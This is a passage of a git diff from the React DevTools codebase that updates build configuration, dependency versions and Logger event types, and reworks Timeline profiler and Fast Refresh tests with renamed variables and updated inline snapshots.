 import DevTools from 'react-devtools-shared/src/devtools/views/DevTools';
-import {
-  getAppendComponentStack,
-  getBreakOnConsoleErrors,
-  getSavedComponentFilters,
-  getShowInlineWarningsAndErrors,
-  getHideConsoleLogsInStrictMode,
-} from 'react-devtools-shared/src/utils';
+import {getSavedComponentFilters} from 'react-devtools-shared/src/utils';
 
 import type {Wall} from 'react-devtools-shared/src/frontend/types';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
@@ -58,7 +52,7 @@ export function initialize(
     bridge?: FrontendBridge,
     store?: Store,
   } = {},
-): React.AbstractComponent<Props, mixed> {
+): component(...props: Props) {
   if (bridge == null) {
     bridge = createBridge(contentWindow);
   }
@@ -76,11 +70,7 @@ export function initialize(
     frontendBridge.removeListener('getSavedPreferences', onGetSavedPreferences);
 
     const data = {
-      appendComponentStack: getAppendComponentStack(),
-      breakOnConsoleErrors: getBreakOnConsoleErrors(),
       componentFilters: getSavedComponentFilters(),
-      showInlineWarningsAndErrors: getShowInlineWarningsAndErrors(),
-      hideConsoleLogsInStrictMode: getHideConsoleLogsInStrictMode(),
     };
 
     // The renderer interface can't read saved preferences directly,
diff --git a/packages/react-devtools-inline/webpack.config.js b/packages/react-devtools-inline/webpack.config.js
index 2ab8db739a59..f2b5fd8a6f41 100644
--- a/packages/react-devtools-inline/webpack.config.js
+++ b/packages/react-devtools-inline/webpack.config.js
@@ -65,7 +65,6 @@ module.exports = {
   plugins: [
     new Webpack.ProvidePlugin({
       process: 'process/browser',
-      Buffer: ['buffer', 'Buffer'],
     }),
     new Webpack.DefinePlugin({
       __DEV__,
@@ -73,6 +72,11 @@ module.exports = {
       __EXTENSION__: false,
       __PROFILE__: false,
       __TEST__: NODE_ENV === 'test',
+      // TODO: Should this be feature tested somehow?
+      __IS_CHROME__: false,
+      __IS_FIREFOX__: false,
+      __IS_EDGE__: false,
+      __IS_NATIVE__: false,
       'process.env.DEVTOOLS_PACKAGE': `"react-devtools-inline"`,
       'process.env.DEVTOOLS_VERSION': `"${DEVTOOLS_VERSION}"`,
       'process.env.EDITOR_URL': EDITOR_URL != null ? `"${EDITOR_URL}"` : null,
@@ -88,6 +92,7 @@ module.exports = {
           {
             loader: 'workerize-loader',
             options: {
+              // Workers would have to be exposed on a public path in order to outline them.
               inline: true,
               name: '[name]',
             },
diff --git a/packages/react-devtools-shared/babel.config.js b/packages/react-devtools-shared/babel.config.js
index ca877aa683af..dfd46013e944 100644
--- a/packages/react-devtools-shared/babel.config.js
+++ b/packages/react-devtools-shared/babel.config.js
@@ -3,7 +3,7 @@ const firefoxManifest = require('../react-devtools-extensions/firefox/manifest.j
 
 const minChromeVersion = parseInt(chromeManifest.minimum_chrome_version, 10);
 const minFirefoxVersion = parseInt(
-  firefoxManifest.applications.gecko.strict_min_version,
+  firefoxManifest.browser_specific_settings.gecko.strict_min_version,
   10,
 );
 validateVersion(minChromeVersion);
@@ -34,6 +34,7 @@ module.exports = api => {
     }
   }
   const plugins = [
+    ['babel-plugin-syntax-hermes-parser'],
     ['@babel/plugin-transform-flow-strip-types'],
     ['@babel/plugin-proposal-class-properties', {loose: false}],
   ];
diff --git a/packages/react-devtools-shared/package.json b/packages/react-devtools-shared/package.json
index e503f017fe71..721cc9954b3d 100644
--- a/packages/react-devtools-shared/package.json
+++ b/packages/react-devtools-shared/package.json
@@ -10,21 +10,20 @@
     "react-dom-15": "npm:react-dom@^15"
   },
   "dependencies": {
-    "@babel/parser": "^7.12.5",
-    "@babel/preset-env": "^7.11.0",
+    "@babel/parser": "^7.28.3",
+    "@babel/preset-env": "7.26.9",
     "@babel/preset-flow": "^7.10.4",
     "@babel/runtime": "^7.11.2",
-    "@babel/traverse": "^7.12.5",
+    "@babel/traverse": "^7.28.3",
     "@reach/menu-button": "^0.16.1",
     "@reach/tooltip": "^0.16.0",
     "clipboard-js": "^0.3.6",
     "compare-versions": "^5.0.3",
     "jsc-safe-url": "^0.2.4",
-    "json5": "^2.1.3",
+    "json5": "^2.2.3",
     "local-storage-fallback": "^4.1.1",
-    "lodash.throttle": "^4.1.1",
-    "memoize-one": "^3.1.1",
     "react-virtualized-auto-sizer": "^1.0.23",
-    "react-window": "^1.8.10"
+    "react-window": "^1.8.10",
+    "rbush": "4.0.1"
   }
 }
diff --git a/packages/react-devtools-shared/src/Logger.js b/packages/react-devtools-shared/src/Logger.js
index d37a33cf1c7e..0d1324d0d70a 100644
--- a/packages/react-devtools-shared/src/Logger.js
+++ b/packages/react-devtools-shared/src/Logger.js
@@ -25,6 +25,9 @@ export type LoggerEvent =
   | {
       +event_name: 'selected-profiler-tab',
     }
+  | {
+      +event_name: 'selected-suspense-tab',
+    }
   | {
       +event_name: 'load-hook-names',
       +event_status: 'success' | 'error' | 'timeout' | 'unknown',
@@ -60,7 +63,11 @@ export type LoggerEvent =
         +value: any,
         ...
       },
-    };
+    }
+  | {
+      +event_name: 'selected-editor-pane',
+    }
+  | {+event_name: 'selected-inspected-element-pane'};
 
 export type LogFunction = LoggerEvent => void | Promise<void>;
 
diff --git a/packages/react-devtools-shared/src/__tests__/FastRefreshDevToolsIntegration-test.js b/packages/react-devtools-shared/src/__tests__/FastRefreshDevToolsIntegration-test.js
index ff07f0ef16f8..a80a11fde12d 100644
--- a/packages/react-devtools-shared/src/__tests__/FastRefreshDevToolsIntegration-test.js
+++ b/packages/react-devtools-shared/src/__tests__/FastRefreshDevToolsIntegration-test.js
@@ -186,8 +186,83 @@ describe('Fast Refresh', () => {
     expect(getContainer().firstChild).not.toBe(element);
   });
 
+  // @reactVersion < 18.0
   // @reactVersion >= 16.9
-  it('should not break when there are warnings in between patching', () => {
+  it('should not break when there are warnings in between patching (before post commit hook)', () => {
+    withErrorsOrWarningsIgnored(['Expected:'], () => {
+      render(`
+      const {useState} = React;
+
+      export default function Component() {
+        const [state, setState] = useState(1);
+        console.warn("Expected: warning during render");
+        return null;
+      }
+    `);
+    });
+    expect(store).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 1
+      [root]
+          <Component> ⚠
+    `);
+
+    withErrorsOrWarningsIgnored(['Expected:'], () => {
+      patch(`
+      const {useEffect, useState} = React;
+
+      export default function Component() {
+        const [state, setState] = useState(1);
+        console.warn("Expected: warning during render");
+        return null;
+      }
+    `);
+    });
+    expect(store).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 2
+      [root]
+          <Component> ⚠
+    `);
+
+    withErrorsOrWarningsIgnored(['Expected:'], () => {
+      patch(`
+      const {useEffect, useState} = React;
+
+      export default function Component() {
+        const [state, setState] = useState(1);
+        useEffect(() => {
+          console.error("Expected: error during effect");
+        });
+        console.warn("Expected: warning during render");
+        return null;
+      }
+    `);
+    });
+    expect(store).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 1
+      [root]
+          <Component> ⚠
+    `);
+
+    withErrorsOrWarningsIgnored(['Expected:'], () => {
+      patch(`
+      const {useEffect, useState} = React;
+
+      export default function Component() {
+        const [state, setState] = useState(1);
+        console.warn("Expected: warning during render");
+        return null;
+      }
+    `);
+    });
+    expect(store).toMatchInlineSnapshot(`
+      ✕ 0, ⚠ 1
+      [root]
+          <Component> ⚠
+    `);
+  });
+
+  // @reactVersion >= 18.0
+  it('should not break when there are warnings in between patching (with post commit hook)', () => {
     withErrorsOrWarningsIgnored(['Expected:'], () => {
       render(`
       const {useState} = React;
diff --git a/packages/react-devtools-shared/src/__tests__/TimelineProfiler-test.js b/packages/react-devtools-shared/src/__tests__/TimelineProfiler-test.js
index 59d383e3a508..8d9f34371b34 100644
--- a/packages/react-devtools-shared/src/__tests__/TimelineProfiler-test.js
+++ b/packages/react-devtools-shared/src/__tests__/TimelineProfiler-test.js
@@ -15,11 +15,21 @@ import {
   normalizeCodeLocInfo,
 } from './utils';
 
+let React = require('react');
+let Scheduler;
+let store;
+let utils;
+
+// This flag is on experimental which disables timeline profiler.
+const enableComponentPerformanceTrack =
+  React.version.startsWith('19') && React.version.includes('experimental');
+
 describe('Timeline profiler', () => {
-  let React;
-  let Scheduler;
-  let store;
-  let utils;
+  if (enableComponentPerformanceTrack) {
+    test('no tests', () => {});
+    // Ignore all tests.
+    return;
+  }
 
   beforeEach(() => {
     utils = require('./utils');
@@ -36,16 +46,16 @@ describe('Timeline profiler', () => {
   });
 
   describe('User Timing API', () => {
-    let clearedMarks;
+    let currentlyNotClearedMarks;
+    let registeredMarks;
     let featureDetectionMarkName = null;
-    let marks;
     let setPerformanceMock;
 
     function createUserTimingPolyfill() {
       featureDetectionMarkName = null;
 
-      clearedMarks = [];
-      marks = [];
+      currentlyNotClearedMarks = [];
+      registeredMarks = [];
 
       // Remove file-system specific bits or version-specific bits of information from the module range marks.
       function filterMarkData(markName) {
@@ -66,8 +76,9 @@ describe('Timeline profiler', () => {
         clearMarks(markName) {
           markName = filterMarkData(markName);
 
-          clearedMarks.push(markName);
-          marks = marks.filter(mark => mark !== markName);
+          currentlyNotClearedMarks = currentlyNotClearedMarks.filter(
+            mark => mark !== markName,
+          );
         },
         mark(markName, markOptions) {
           markName = filterMarkData(markName);
@@ -76,7 +87,8 @@ describe('Timeline profiler', () => {
             featureDetectionMarkName = markName;
           }
 
-          marks.push(markName);
+          registeredMarks.push(markName);
+          currentlyNotClearedMarks.push(markName);
 
           if (markOptions != null) {
             // This is triggers the feature detection.
@@ -86,8 +98,8 @@ describe('Timeline profiler', () => {
       };
     }
 
-    function clearPendingMarks() {
-      clearedMarks.splice(0);
+    function eraseRegisteredMarks() {
+      registeredMarks.splice(0);
     }
 
     function dispatchAndSetCurrentEvent(element, event) {
@@ -107,7 +119,7 @@ describe('Timeline profiler', () => {
 
     afterEach(() => {
       // Verify all logged marks also get cleared.
-      expect(marks).toHaveLength(0);
+      expect(currentlyNotClearedMarks).toHaveLength(0);
 
       setPerformanceMock(null);
     });
@@ -118,24 +130,28 @@ describe('Timeline profiler', () => {
       // @reactVersion <= 18.2
       // @reactVersion >= 18.0
       it('should mark sync render without suspends or state updates', () => {
+        utils.act(() => store.profilerStore.startProfiling());
         legacyRender(<div />);
+        utils.act(() => store.profilerStore.stopProfiling());
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
-                  [
-                    "--schedule-render-1",
-                    "--render-start-1",
-                    "--render-stop",
-                    "--commit-start-1",
-                    "--react-version-<filtered-version>",
-                    "--profiler-version-1",
-                    "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
-                    "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
-                    "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
-                    "--layout-effects-start-1",
-                    "--layout-effects-stop",
-                    "--commit-stop",
-                  ]
-              `);
+        expect(registeredMarks).toMatchInlineSnapshot(`
+          [
+            "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+            "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+            "--schedule-render-1",
+            "--render-start-1",
+            "--render-stop",
+            "--commit-start-1",
+            "--react-version-<filtered-version>",
+            "--profiler-version-1",
+            "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+            "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+            "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
+            "--layout-effects-start-1",
+            "--layout-effects-stop",
+            "--commit-stop",
+          ]
+        `);
       });
 
       // TODO(hoxyq): investigate why running this test with React 18 fails
@@ -154,7 +170,7 @@ describe('Timeline profiler', () => {
           </React.Suspense>,
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-2",
                     "--render-start-2",
@@ -174,10 +190,10 @@ describe('Timeline profiler', () => {
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await fakeSuspensePromise;
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                 [
                   "--suspense-resolved-0-Example",
                 ]
@@ -200,7 +216,7 @@ describe('Timeline profiler', () => {
           </React.Suspense>,
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-2",
                     "--render-start-2",
@@ -220,10 +236,10 @@ describe('Timeline profiler', () => {
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await expect(fakeSuspensePromise).rejects.toThrow();
-        expect(clearedMarks).toContain(`--suspense-rejected-0-Example`);
+        expect(registeredMarks).toContain(`--suspense-rejected-0-Example`);
       });
 
       // @reactVersion <= 18.2
@@ -248,46 +264,50 @@ describe('Timeline profiler', () => {
           throw Error('Expected error');
         }
 
+        utils.act(() => store.profilerStore.startProfiling());
         legacyRender(
           <ErrorBoundary>
             <ExampleThatThrows />
           </ErrorBoundary>,
         );
+        utils.act(() => store.profilerStore.stopProfiling());
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
-                  [
-                    "--schedule-render-1",
-                    "--render-start-1",
-                    "--component-render-start-ErrorBoundary",
-                    "--component-render-stop",
-                    "--component-render-start-ExampleThatThrows",
-                    "--component-render-start-ExampleThatThrows",
-                    "--component-render-stop",
-                    "--error-ExampleThatThrows-mount-Expected error",
-                    "--render-stop",
-                    "--commit-start-1",
-                    "--react-version-<filtered-version>",
-                    "--profiler-version-1",
-                    "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
-                    "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
-                    "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
-                    "--layout-effects-start-1",
-                    "--schedule-state-update-1-ErrorBoundary",
-                    "--layout-effects-stop",
-                    "--commit-stop",
-                    "--render-start-1",
-                    "--component-render-start-ErrorBoundary",
-                    "--component-render-stop",
-                    "--render-stop",
-                    "--commit-start-1",
-                    "--react-version-<filtered-version>",
-                    "--profiler-version-1",
-                    "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
-                    "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
-                    "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
-                    "--commit-stop",
-                  ]
-              `);
+        expect(registeredMarks).toMatchInlineSnapshot(`
+          [
+            "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+            "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+            "--schedule-render-1",
+            "--render-start-1",
+            "--component-render-start-ErrorBoundary",
+            "--component-render-stop",
+            "--component-render-start-ExampleThatThrows",
+            "--component-render-start-ExampleThatThrows",
+            "--component-render-stop",
+            "--error-ExampleThatThrows-mount-Expected error",
+            "--render-stop",
+            "--commit-start-1",
+            "--react-version-<filtered-version>",
+            "--profiler-version-1",
+            "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+            "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+            "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
+            "--layout-effects-start-1",
+            "--schedule-state-update-1-ErrorBoundary",
+            "--layout-effects-stop",
+            "--commit-stop",
+            "--render-start-1",
+            "--component-render-start-ErrorBoundary",
+            "--component-render-stop",
+            "--render-stop",
+            "--commit-start-1",
+            "--react-version-<filtered-version>",
+            "--profiler-version-1",
+            "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+            "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+            "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
+            "--commit-stop",
+          ]
+        `);
       });
     });
 
@@ -310,17 +330,17 @@ describe('Timeline profiler', () => {
       it('should mark concurrent render without suspends or state updates', async () => {
         modernRender(<div />);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--render-stop",
@@ -356,7 +376,7 @@ describe('Timeline profiler', () => {
 
         await waitFor(['Foo']);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-128",
                     "--render-start-128",
@@ -383,17 +403,17 @@ describe('Timeline profiler', () => {
           </React.Suspense>,
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -414,10 +434,10 @@ describe('Timeline profiler', () => {
           ]
         `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await resolveFakePromise();
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
             [
               "--suspense-resolved-0-Example",
             ]
@@ -440,17 +460,17 @@ describe('Timeline profiler', () => {
           </React.Suspense>,
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -471,13 +491,13 @@ describe('Timeline profiler', () => {
           ]
         `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await expect(() => {
           rejectFakePromise(new Error('error'));
           return fakeSuspensePromise;
         }).rejects.toThrow();
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                 [
                   "--suspense-rejected-0-Example",
                 ]
@@ -497,17 +517,17 @@ describe('Timeline profiler', () => {
 
         modernRender(<Example />);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -554,17 +574,17 @@ describe('Timeline profiler', () => {
 
         modernRender(<Example />);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -612,13 +632,13 @@ describe('Timeline profiler', () => {
 
         modernRender(<Example />);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         let errorMessage;
         jest.spyOn(console, 'error').mockImplementation(message => {
@@ -632,7 +652,7 @@ describe('Timeline profiler', () => {
           'Cannot update during an existing state transition',
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -668,13 +688,13 @@ describe('Timeline profiler', () => {
 
         modernRender(<Example />);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         let errorMessage;
         jest.spyOn(console, 'error').mockImplementation(message => {
@@ -688,7 +708,7 @@ describe('Timeline profiler', () => {
           'Cannot update during an existing state transition',
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -721,17 +741,17 @@ describe('Timeline profiler', () => {
 
         modernRender(<Example />);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-Example",
@@ -781,7 +801,7 @@ describe('Timeline profiler', () => {
 
         await waitForAll([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--schedule-render-32",
             "--render-start-32",
@@ -834,7 +854,7 @@ describe('Timeline profiler', () => {
 
         await waitForAll([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--schedule-render-32",
             "--render-start-32",
@@ -884,17 +904,17 @@ describe('Timeline profiler', () => {
           </ErrorBoundary>,
         );
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--schedule-render-32",
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForPaint([]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--render-start-32",
             "--component-render-start-ErrorBoundary",
@@ -983,7 +1003,7 @@ describe('Timeline profiler', () => {
 
         await waitForPaint(['layout 1 mount', 'layout 2 mount']);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--schedule-render-32",
             "--render-start-32",
@@ -1008,7 +1028,7 @@ describe('Timeline profiler', () => {
           ]
         `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForAll([
           'passive 1 mount',
@@ -1016,7 +1036,7 @@ describe('Timeline profiler', () => {
           'passive 3 mount',
         ]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
                   [
                     "--passive-effects-start-32",
                     "--component-passive-effect-mount-start-ComponentWithEffects",
@@ -1029,7 +1049,7 @@ describe('Timeline profiler', () => {
                   ]
               `);
 
-        clearPendingMarks();
+        eraseRegisteredMarks();
 
         await waitForAll([]);
 
@@ -1043,7 +1063,7 @@ describe('Timeline profiler', () => {
           'passive 3 unmount',
         ]);
 
-        expect(clearedMarks).toMatchInlineSnapshot(`
+        expect(registeredMarks).toMatchInlineSnapshot(`
           [
             "--schedule-render-2",
             "--render-start-2",
@@ -1083,24 +1103,28 @@ describe('Timeline profiler', () => {
         // @reactVersion <= 18.2
         // @reactVersion >= 18.0
         it('regression test SyncLane', () => {
+          utils.act(() => store.profilerStore.startProfiling());
           legacyRender(<div />);
+          utils.act(() => store.profilerStore.stopProfiling());
 
-          expect(clearedMarks).toMatchInlineSnapshot(`
-                      [
-                        "--schedule-render-1",
-                        "--render-start-1",
-                        "--render-stop",
-                        "--commit-start-1",
-                        "--react-version-<filtered-version>",
-                        "--profiler-version-1",
-                        "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
-                        "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
-                        "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
-                        "--layout-effects-start-1",
-                        "--layout-effects-stop",
-                        "--commit-stop",
-                      ]
-                  `);
+          expect(registeredMarks).toMatchInlineSnapshot(`
+            [
+              "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+              "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+              "--schedule-render-1",
+              "--render-start-1",
+              "--render-stop",
+              "--commit-start-1",
+              "--react-version-<filtered-version>",
+              "--profiler-version-1",
+              "--react-internal-module-start-  at filtered (<anonymous>:0:0)",
+              "--react-internal-module-stop-  at filtered (<anonymous>:1:1)",
+              "--react-lane-labels-Sync,InputContinuousHydration,InputContinuous,DefaultHydration,Default,TransitionHydration,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Transition,Retry,Retry,Retry,Retry,Retry,SelectiveHydration,IdleHydration,Idle,Offscreen",
+              "--layout-effects-start-1",
+              "--layout-effects-stop",
+              "--commit-stop",
+            ]
+          `);
         });
       });
 
@@ -1116,7 +1140,7 @@ describe('Timeline profiler', () => {
 
         it('regression test DefaultLane', () => {
           modernRender(<div />);
-          expect(clearedMarks).toMatchInlineSnapshot(`
+          expect(registeredMarks).toMatchInlineSnapshot(`
                       [
                         "--schedule-render-32",
                       ]
@@ -1137,14 +1161,14 @@ describe('Timeline profiler', () => {
           modernRender(<App />);
           await waitForAll([]);
 
-          clearedMarks.splice(0);
+          eraseRegisteredMarks();
 
           targetRef.current.click();
 
           // Wait a frame, for React to process the "click" update.
           await Promise.resolve();
 
-          expect(clearedMarks).toMatchInlineSnapshot(`
+          expect(registeredMarks).toMatchInlineSnapshot(`
             [
               "--schedule-state-update-2-App",
               "--render-start-2",
@@ -1178,7 +1202,7 @@ describe('Timeline profiler', () => {
           modernRender(<App />);
           await waitForAll([]);
 
-          clearedMarks.splice(0);
+          eraseRegisteredMarks();
 
           const event = document.createEvent('MouseEvents');
           event.initEvent('mouseover', true, true);
@@ -1186,7 +1210,7 @@ describe('Timeline profiler', () => {
 
           await waitForAll([]);
 
-          expect(clearedMarks).toMatchInlineSnapshot(`
+          expect(registeredMarks).toMatchInlineSnapshot(`
             [
               "--schedule-state-update-8-App",
               "--render-start-8",
@@ -1257,13 +1281,13 @@ describe('Timeline profiler', () => {
     });
 
     describe('when profiling', () => {
-      beforeEach(() => {
-        utils.act(() => store.profilerStore.startProfiling());
-      });
-
       describe('with legacy render', () => {
         const {render: legacyRender} = getLegacyRenderImplementation();
 
+        beforeEach(() => {
+          utils.act(() => store.profilerStore.startProfiling());
+        });
+
         // @reactVersion <= 18.2
         // @reactVersion >= 18.0
         it('should mark sync render without suspends or state updates', () => {
@@ -1420,19 +1444,19 @@ describe('Timeline profiler', () => {
           expect(timelineData.suspenseEvents).toHaveLength(1);
           const suspenseEvent = timelineData.suspenseEvents[0];
           expect(suspenseEvent).toMatchInlineSnapshot(`
-                      {
-                        "componentName": "Example",
-                        "depth": 0,
-                        "duration": 10,
-                        "id": "0",
-                        "phase": "mount",
-                        "promiseName": "",
-                        "resolution": "resolved",
-                        "timestamp": 10,
-                        "type": "suspense",
-                        "warning": null,
-                      }
-                  `);
+            {
+              "componentName": "Example",
+              "depth": 0,
+              "duration": 0,
+              "id": "0",
+              "phase": "mount",
+              "promiseName": "",
+              "resolution": "unresolved",
+              "timestamp": 10,
+              "type": "suspense",
+              "warning": null,
+            }
+          `);
 
           // There should be two batches of renders: Suspeneded and resolved.
           expect(timelineData.batchUIDToMeasuresMap.size).toBe(2);
@@ -1478,19 +1502,19 @@ describe('Timeline profiler', () => {
           expect(timelineData.suspenseEvents).toHaveLength(1);
           const suspenseEvent = timelineData.suspenseEvents[0];
           expect(suspenseEvent).toMatchInlineSnapshot(`
-                      {
-                        "componentName": "Example",
-                        "depth": 0,
-                        "duration": 10,
-                        "id": "0",
-                        "phase": "mount",
-                        "promiseName": "",
-                        "resolution": "rejected",
-                        "timestamp": 10,
-                        "type": "suspense",
-                        "warning": null,
-                      }
-                  `);
+            {
+              "componentName": "Example",
+              "depth": 0,
+              "duration": 0,
+              "id": "0",
+              "phase": "mount",
+              "promiseName": "",
+              "resolution": "unresolved",
+              "timestamp": 10,
+              "type": "suspense",
+              "warning": null,
+            }
+          `);
 
